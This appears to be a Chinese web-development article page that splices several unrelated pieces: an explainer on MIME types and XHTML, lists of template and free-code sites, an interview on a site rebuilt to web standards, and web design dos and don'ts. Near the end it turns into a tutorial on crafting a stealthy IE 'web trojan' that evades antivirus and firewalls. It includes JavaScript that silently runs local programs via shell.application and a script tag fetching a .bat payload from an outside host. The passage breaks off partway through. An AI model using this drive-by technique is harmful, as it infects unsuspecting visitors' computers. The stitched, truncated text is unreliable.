MIME Type 引出的两难困境

 更新时间:2016年9月20日 19:04  点击:2161

  一切从一个糟糕的浏览器开始,它完全不支持 XHTML。

  什么是 MIME Type?

  为什么这么说呢?首先,我们要了解浏览器是如何处理内容的。在浏览器中显示的内容有 HTML、有 XML、有 GIF、还有 Flash……那么,浏览器是如何区分它们,绝对什么内容用什么形式来显示呢?答案是 MIME Type,也就是该资源的媒体类型。

  媒体类型通常是通过 HTTP 协议,由 Web 服务器告知浏览器的,更准确地说,是通过 Content-Type 来表示的,例如:

Content-Type: text/html

  表示内容是 text/html 类型,也就是超文本文件。为什么是“text/html”而不是“html/text”或者别的什么?MIME Type 不是个人指定的,是经过 ietf 组织协商,以 RFC 的形式作为建议的标准发布在网上的,大多数的 Web 服务器和用户代理都会支持这个规范 (顺便说一句,Email 附件的类型也是通过 MIME Type 指定的)。

  通常只有一些在互联网上获得广泛应用的格式才会获得一个 MIME Type,如果是某个客户端自己定义的格式,一般只能以 application/x- 开头。

  XHTML 正是一个获得广泛应用的格式,因此,在 RFC 3236 中,说明了 XHTML 格式文件的 MIME Type 应该是 application/xhtml+xml。

  当然,处理本地的文件,在没有人告诉浏览器某个文件的 MIME Type 的情况下,浏览器也会做一些默认的处理,这可能和你在操作系统中给文件配置的 MIME Type 有关。比如在 Windows 下,打开注册表的“HKEY_LOCAL_MACHINESOFTWAREClassesMIMEDatabaseContent Type”主键,你可以看到所有 MIME Type 的配置信息。

  浏览器处理 XHTML 和 HTML 有什么区别?

  HTML 的语法过于随意了,有许多简写,标记不匹配的复杂情况,同时长期 Web 发展下来积累下来了许多错误的用法——比如一个文档里完全没有 标记——但浏览器还是得支持它,可想而知,为了支持这些“Tag Soup”——也就是我们所说的那些,乱成一锅粥的标签——浏览器要很费力地去猜测一段标记的意思,努力以用户期望的形式表达出来。一句话说,虽然 HTML 4.01 允许你用语义化、结构化的、内容与表现分离的方法来书写标记,但由于它沿袭了 HTML 这种格式,使得浏览器对于凡是 MIME Type 为“text/html”的文件,都得采用一种非常费劲的方法去处理,这对于 Web 的发展是很不利的。

  再说除了浏览器,还有许多其他的用户代理要阅读 HTML:纯文本的浏览工具、读屏器等等。

  创造 XHTML,很大一部分原因正是要通过 XML 重新严格地规范一遍标记,让这些用户代理可以以一种更简便的方式来解析这些标记。因此,XHTML 这种新的格式,天生就要求内容的发布者必须以严格的方式来标记自己的文档。

  当然,XHTML 对于内容提供者也有好处,此处先不展开,详见下文。

  MIME Type 与之又有什么关系?

  把前两节的内容合起来,你显然可以发现:一个正常支持 XHTML 的浏览器会根据服务器提供的 MIME Type 是 text/html 还是 application/xhtml+xml 来区分获取到的内容是 HTML 还是 XHTML,对这两种格式,分别以两种不同的方式来解析文档,后者解析起来要严格得多,但对于用户代理开发者和内容提供者都有很大的好处。

  那么,那些浏览器正常的支持了 XHTML 呢?答案是 Mozilla、基于 Mozilla 的浏览器如 Netscape 7 和 Firefox、较新版本的 Opera 和 Safari 等等。

你是否正准备织网或者正在织网的路上?如果是,那么有没有感觉到网络上扑面而来的网站建设资源呢?“他山之石,可以攻玉。”个人的精力毕竟是有限的,“引用”也是硬道理。

  一、引用模板,为你的网站搭架

  所谓“模板”,就是一个已经基本制作好的HTML网站文件,在网站风格、外观等方面已经比较确定,但在文字、图形、图像、动画内容以及链接等方面留出空隙和余地,填入不同的内容便可形成一个个图文并茂的页面。

  ◆优秀模板网站推介:

  新浪模板:http://vip.sina.com/cgi-bin/pubtmpl/preview.cgi

  模板精品店:http://mb.cncss.com/

  模板天下:http://www.mbsky.com/main.htm

  建站资源网模板:http://www.chinapsd.com/moban/moban.asp

  二、引用元素,为你的网站增色

  网页元素,包括网页背景、线条、图标、图片、动画、音乐等素材,门类繁多。有一些网站专门制作、搜集和整理了一些网页素材,免费提供给大家使用。除了访问这些专门提供网页素材的网站,您还可以处处留心,访问哪一个网站的时候看到了很好的小东东,就可以随手Download下来,整理一下为自己所用。

  ◆ 优秀网页素材网站推介:

  素材精品屋 :http://www.sucaiw.com

  网页素材图库:http://www.dabaoku.com/sucai/index.htm

  殷都图霸-网页素材大全:http://photo.ayinfo.ha.cn/sucai/

  好极网GIF动画库:http://www.hooji.com/gifs/

  心怡坊素材库:http://pugongying.51.net/

  三、引用代码,为你的网站补血

  其实,代码也属于网页元素,现在有很多网站都提供免费代码,引用好这些代码,可以为你的网站快速注入新鲜的血液。这些代码按功能可分为:网页特效类、搜索引擎类、计数统计类、新闻系统类、留言论坛类、查询调查类等。结合自己网站的主题和风格,来决定你引用哪些种类的代码,比如有关音乐类的网站可考虑加一个“歌词查询器”,而文学类的可考虑加一个“每日作家简介”,至于计数器、留言本之类的我想每个网站最好都用上。

  引用代码,应注意两个问题:一是引用信誉好、服务稳定,而且广告少的代码,对于那些使用频繁的服务尤是如此,不要因为代码而影响了你网站的正常运转。二是引用适度,若在网页上大量引用代码,因页面要启动或连接多个站外服务,速度必会受到影响,一般引用两三个就可以了。

  ◆优秀免费代码推介:

  1.网页特效类

  网页特效大全:http://www.cn76.com/js/

  2.搜索引擎类

  Google搜索: http://www.google.com/intl/zh-CN/searchcode.html

  百度搜索:http://www.baidu.com/search/code.html

  新浪搜索:http://cha.sina.com.cn/tools/free_code.html

  3.新闻系统类

  亿唐免费新闻:http://home.etang.com/news/

  中华网免费新闻代码:http://app0.china.com/freecode/freenews.php

  4.计数统计类

  天堂免费计数器:http://www.9617.com/search?www.xcinfo.ha.cn/jsq/login.asp

  太极统计:http://www.9617.com/search?www.textclick.com/

  5.留言板类

  青年文摘留言板:http://www.qnwz.org/ly/reg.asp

  酷辣辣留言板:http://my.coolala.net/

  6.论坛类

  中用网论坛:http://www.9617.com/search?club.chinauser.com/my/

  中国职业玩家联盟:http://www.9617.com/search?www.cpgl.net/service/bbs.htm

  7.查询类:

  股票信息查询:http://www.cankao.com/z_free.asp



  话题背景:2004年10月15日,闪客帝国[http://www.flashempire.com]根据网页标准对自己的网站进行了网站重构,从而成为了首个采用采用WEB标准的大型国内网站,引起业界一阵轰动。三天后,国内权威的程序员网站CSDN[http://www.111cn.net]也正式推出了采用WEB标准技术从构的新版网站。

  而在国外,Bloger,ESPN,MACROMEDIA,MP3.COM等,都已经采用采用WEB标准的网站进行了重构。那么究竟什么是WEB标准,他究竟有什么魅力引得国内外那么多的网站对他推崇倍至呢?我们带着这些疑问,对闪客帝国的两位核心技术人员进行了专访。

访谈:边城浪子&Allan:采用WEB标准进行网站重构

网易学院: 请问你们是怎么想到要用XHTML+CSS2.0技术对闪客帝国进行重新构建的呢?

边城浪子: 这次改版已经酝酿了很长时间。在这期间,我们了解了很多的关于W3C标准的知识,闪客帝国的前身就是一个专注于技术的网站,我们觉得在这方面不应该落后。当然也考虑到浏览器友好以及维护的方便,所以,经过谨慎考虑,我们决定采用Web标准来开发下一个版本的闪客帝国。

Allan:最开始其实是通过一套来自出版社的未出版的书稿《网站重构》,当时出版社要求给这本书写些文章,后来仔细拜读了一下,发现WEB标准的确是有过人之处,又正逢闪客帝国准备第5次改版,于是开始考虑是否应该用WEB标准来做呢?

网易学院: 大概是什么时候开始计划重新构建的?

边城浪子: 是在改版正式开始之前。闪客帝国给飞思的《网站重构》写了一点书评。后来就想到,为什么我们这次不马上付诸实践呢?

网易学院: 应该说在中国用XHTML+css技术来构建网站还不是很成熟,特别是没有一个这样的后台程序支持,要重构,意味着一整套发布系统都要作出调整,甚至重新编写,是什么让你们下决心花这么大的代价来对闪客帝国进行重构呢?

边城浪子: 网站重构是今后很多网站要面临的问题,标准化永远不会是个错误,我们知道我们早晚会走这一步。所以,长痛不如短痛,所以,我们就下定决心了。

网易学院: 在重构过程中其他技术人员是什么态度?他们支持重构么?刚开始的时候,他们对于XHTML+CSS2.0技术掌握是什么程度?

Allan: 闪客帝国永远是一个求新求变的组织,无论是在论坛网站上还是公司,大家都是非常喜欢新技术的。个人认为XHTML+CSS2.0来说技术难度并不大,所以所有人都能很快进入角色。

网易学院: 我们了解到,在网站重构的过程中,遇到的技术问题是不少的,你们是怎么解决这些技术问题的呢?

边城浪子: 我们互相交流,不断测试,并且订阅了不少CSS邮件列表。更多的时候是查询google,还有就是参考人家已经做好的站点,比如:macromedia.com。

网易学院: 能列举一些BUG的解决办法么?

Allan:在使用的过程中,XHTML+CSS2.0式的页面结构在Mozilla下几乎没有出现过任何BUG,主要是在IE5和IE5.5中。因为这二种浏览器对标准支持得不是很好,因此出现不少问题,我总结以下主要有以下几点

  1. 盒模形问题 http://allan.flashempire.net/blog/archive/2004/09/28/152.aspx  
  2. IE6捉迷藏BUG http://www.positioniseverything.net/explorer/peekaboo.html  
  3. DIV互嵌的各种问题
    http://allan.flashempire.net/blog/archive/2004/09/28/152.a
  4.   十要:

      第一:要认真规划和分析。这是网页设计灵魂工作。创建站点之前,要明确你的网站主要针对哪些访问者,为哪些用户服务,要把握准主页题材

      第二:网页要易读。这就意味着,你必须花点心思来规划文字与背景颜色的搭配方案。注意不要使背景的颜色冲淡了文字的视觉效果,别用花里胡哨的色彩组合,让人看起你的网页来很费劲。这个原则也意味着,你最好别把文字的规格设得太小、也不能太大。文字太小,人家读起来难受;文字太大,或者文字视觉效果变化频繁,像是冲着人大喊大叫,看起来不舒服。

      第三:网站导航要清晰。所有的超链接应清晰无误地向读者标识出来,所有导航性质的设置,像图像按钮,都要有清晰的标识,让人看得明白,千万别光顾视觉效果的热闹的,而让人家不知东西南北。   第四:网页风格要统一。其实,这个原则和传统的印刷出版物没什么区别。你网页上所有的图像、文字,包括像背景颜色、区分线、字体、标题、注脚什么的,都要统一风格,贯穿全站。这样子读者看起来舒服、顺畅,会对你的网站留下一个“很专业”的印象。很多缺乏编辑、出版背景的网友,很容易忽视这点,特别是网页一多,更容易忘。

      第五:要给用户选择的权利。应当充分考虑他们的需求,网页要允许那些大款或在公司上网的人欣赏复杂的Flash或VRML,也要允许那些囊中羞涩的自费上网者选择简单的HTML或纯文本格式。一个奇怪的现象是,尽管很多人都知道在网站上放一份纯文本版的重要性,但很少有人这样做。

      第六:网页要有交互性,也称之为互动性,是网站设计至关重要的一环。 网络给我们提供了前所未有的交流条件,我们就没有理由不让用户发表意见。我认为,在每一页加上留言簿和E-mail链接,是对一个网站最基本的要求。

      第七:要充分发挥ALT标签的作用。这看似简单的技术,几乎是衡量一个网站制作是否认真的基本标准。这样做可以在图片未显示出来时,访问者就可以知道这幅图是完成什么功能,或是完成什么链接,能起来一种加快网页浏览速度的作用。

      第八:要定期核实超级链接的正确性。对于那些页面中有链接其它站点内容的网页,更要定时、全面核实,否则你会失去很多经常访问你站点的“老客户”的。

      第九:要尝试使用不同环境下的浏览器检验您的网页。用尽可能多的环境下的浏览器检验您的网页,或者让朋友们在不同的机器上读读您的网页。最起码要保证PC下的IE和Netscape,以及Unix下的Netscape能满意显示您的网页。

      第十:要及时更新和维护。网站建设起来,只是一个新的起点,你更要细心照料, 并不断更新,以保持其常有的新鲜,若不能及时更新,也最好在主页上发布信息,告诉你的朋友,我要离开一段时间,未能及时给你回复,希望见谅。否则形同“死站”, 让人以为你对他的信不屑一顾,更不会和你继续往来了。

       十不要:

      一不要使用巨幅的或过多的图形。目前网客上网的一个最主要目的就是寻找信息,速度越快越好,“赏心悦目”决不是您网页的主要设计目标。一些必须的照片或图画可制成单独的链接以分流主页的大小。记住∶过多的图形意味着访问者必须多次连接Server,严重影响网络速度。

      二不要使用闪烁的图形或文字。闪烁的图形和文字容易引起流览者的注意,被广告商们普遍应用。正因如此,也引起了广大网客极端反感,多数人反应闪烁的图形和文字不仅刺激眼睛,让人不舒服,而且也分散人的注意力,非常影响阅读。另外,闪烁的图形也会极大地降低网络速度。

      三不要每页的内容过多。必要的分类与分页不仅有助于阅读,也能有效减低每一页的读取时间,易受网客欢迎。一般的网客在一个网页只会停留极短的时间,若您的一个网页有几页长,您就该考虑分成几个链接,争取把最主要的内容放在首页。

      四不要出现错别字、病句。这条禁忌似乎人人知道,但就是有很多很多站点有这些毛病。原因主要是做这些站点的人,大多是技术出身,以为网站就是展示技术能力的场所,实际上,网站迄今为止的基本功用应该是信息传播,应该比照媒体、出版的专业规范来,应该由专业编辑来处理。任何事情总有利弊两面,互联网技术的普及可以让每个人可以自由地创办自己的“媒体”,同时也给互联网世界增添了无数水准低下、制作粗劣的东西。

      五不要使用自动的强迫性popˉup窗口。许多站长爱在网页中加入一些script,以使进入(或退出)该网页的浏览器自动产生另一窗口,这是一种极让人反感的作法,多数网客讨厌被迫执行这种命令。若是当网客主动进入赞助商的网页时,另外产生的窗口则能普遍被人接受。

      六不要过多装饰。网页设计者们常常喜欢使用各种漂亮的小“摆设”来装饰网页,但过多的装饰不仅影响网络速度,更容易引起读者华而不实的感觉。网客们越来越注重的是内容而不是华丽。所以除非您想展示您的审美观,不要为了华美而忽视速度。

      七不要轻易使用最新的网页功能。不要为了个人兴趣而去使用某些浏览器的最新的功能,这不仅可能让许多访问者在读您的网页时遇到Bug,也为您将来的维护增添麻烦。目前您的网页最好能面向IE3.0和Netscape3.0,这样您的网页会和几乎所有的网客的浏览器兼容。

      八不要尝试使用使用JAVA或JAVAScript。JAVA的调用一般比文字慢许多,而它对于以信息为主的网页来说用途极小。

      既然要打造完美的IE网页木马,首先就必须给我们的完美制定一个标准,我个人认为一个完美的IE网页木马至少应具备下列四项特征:

      一:可以躲过杀毒软件的追杀;

      二:可以避开网络防火墙的报警;

      三:能够适用于多数的WINDOWS操作系统(主要包括WIN98、WINME、WIN2000、WINXP、WIN2003)中的多数IE版本(主要包括IE5.0、IE5.5、IE6.0),最好能打倒SP补丁;

      四:让浏览者不容易发觉IE变化,即可以悄无声息,从而可以长久不被发现。
      (注意以上四点只是指网页本身而言,但不包括你的木马程序,也就是说我们的网页木马只是负责运行指定的木马程序,至于你的木马程序的好坏只有你自己去选择啦!别找我要,我不会写的哦!)

      满足以上四点我想才可以让你的马儿更青春更长久,跑的更欢更快……

      看了上面的几点你是不是心动拉?别急,我们还是先侃侃现有的各种IE网页木马的不足吧!

      第一种:利用古老的MIME漏洞的IE网页木马这种木马现在还在流行,但因为此漏洞太过古老且适用的IE版本较少,而当时影响又太大,补丁差不多都补上啦,因此这种木马的种植成功率比较低。

      第二种:利用com.ms.activeX.ActiveXComponent漏洞,结合WSH及FSO控件的IE网页木马虽然com.ms.activeX.ActiveXComponent漏洞广泛存在于多数IE版本中,是一个比较好的漏洞,利用价值非常高,但却因为它结合了流行的病毒调用的WSH及FSO控件,使其虽说可以避开网络防火墙的报警,可逃不脱杀毒软件的追捕(如诺顿)。

      第三种:利用OBJECT对象类型确认漏洞(Object Data Remote)并结合WSH及FSO控件的IE网页木马(典型的代表有动鲨网页木马生成器)

      此种木马最大的优点是适应的IE版本多,且漏洞较新,但却有如下不足:

      1、因为此漏洞要调用Mshta.exe来访问网络下载木马程序,所以会引起防火墙报警(如天网防火墙);

      2、如果此IE网页木马又利用了WSH及FSO控件,同样逃不脱杀毒软件的追捕(如诺顿),而动鲨网页木马又恰恰使用了WSH及FSO控件,叹口气……可惜呀……?

      3、再有就是这个漏洞需要网页服务器支持动态网页如ASP、JSP、CGI等,这就影响了它的发挥,毕竟现在的免费稳定的动态网页空间是少之又少;虽说此漏洞也可利用邮件MIME的形式(见我在安全焦点上发表的文章:《由错误MIME漏洞的利用想到的......---IE Object Data 数据远程执行漏洞的利用》http://www.xfocus.net/articles/200309/607.html)来利用,但经测试发现对IE6.0不起作用。

      看到上面的分析你是不是有了这种感觉:千军易得,一将难求,马儿成群,奈何千里马难寻!别急,下面让我带这大家一起打造我心中的完美IE网页木马。

      首先要躲过杀毒软件的追杀,我们就不能利用WSH和FSO控件,因为只要利用了WSH和FSO控件就一定逃不脱“诺顿”的追杀,这可叫我们该如何是好?!别急,经过我的努力工作(说真的我也是在研究ASP木马时偶然发现的灵感)终于我有找到了一个可以用的控件,那就是shell.application,并且它可是经过了安全认证的,可以在“我的电脑”域中的网页中畅通无阻的执行,比WSH和FSO更容易得到执行权限(利用跨域漏洞即可),请看下面javascript代码:

    <SCRIPT LANGUAGE="javascript" type="text/javascript">
    var shell=new ActiveXObject("shell.application");
    shell.namespace("c:\Windows\").items().item("Notepad.exe").invokeverb();
    </SCRIPT>

      保存为test.htm后打开看是否自动打开了记事本程序,而且不会象WSH和FSO那样出现是否允许运行的提示框,是不是有点兴趣啦?现在我们已可以运行所有已知路径的程序,但我们要求运行我们自己的木马程序,所以还要求把我们的木马程序下载到浏览者的电脑上并找出它的位置。我们一个个来解决:

      1、下载木马程序到浏览者的电脑中

      这一点可以有很多解决方法,比如我以前提到的WINDOWS帮助文件访问协议下载任意文件漏洞(its:),不过这次我们不用它,再教大家两个更好的下载方法:

      例一:利用SCRIPT标签,代码如下:

    <SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>

[!--infotagslink--]

相关文章

  • IIS自定义MIME类型的步骤

    IIS自定义MIME类型很简单,直接在服务器上设置,按照如下步骤操作就可以...2016-01-27
  • WIN2003中使用IIS配置手机下载类WAP网站的MIME类型介绍

    配置过很多WAP站点了 尤其是手机下载类站点是很麻烦的 因为他需要添加大量的下载格式这样手机玩家才能通过你的WAP站点下载手机图片 铃声 程序等各类资源 ...2016-01-27
  • IIS .7z文件支持下载的添加方法

    由于7z文件的高压缩很多下载网站使用了7z格式文件,但iis中却不想rar那样可以直接下载,所以需要我们设置下,这样就可以iis中下载7z格式文件了...2016-01-27
  • php image_type_to_mime_type

    php image_type_to_mime_type image_type_to_mime_type - 获取MIME的图像类型和getimagesize返回类型,exif_read_data,exif_thumbnail,本函数 <?php $filename = 'http:...2016-11-25
  • Win2003 手机站IIS MIME类型设置大全

    在手机软件下载站越来越流行,由于手机软件格式不同,当下载cad,apk格式的文件时并不能直接下载,要想实现和普通软件一样的下载功能,需要在iis网站属性mime类型中进行设置...2016-01-27
  • http图片上传安全性问题 根据ContentType (MIME) 判断其实不准确、不安全

    图片上传常用的类型判断方法有这么几种---截取扩展名、获取文件ContentType (MIME) 、读取byte来判断(这个什么叫法来着?)。下面由脚本之家小编跟大家分享图片上传安全性问题,感兴趣的朋友一起看看吧...2020-06-25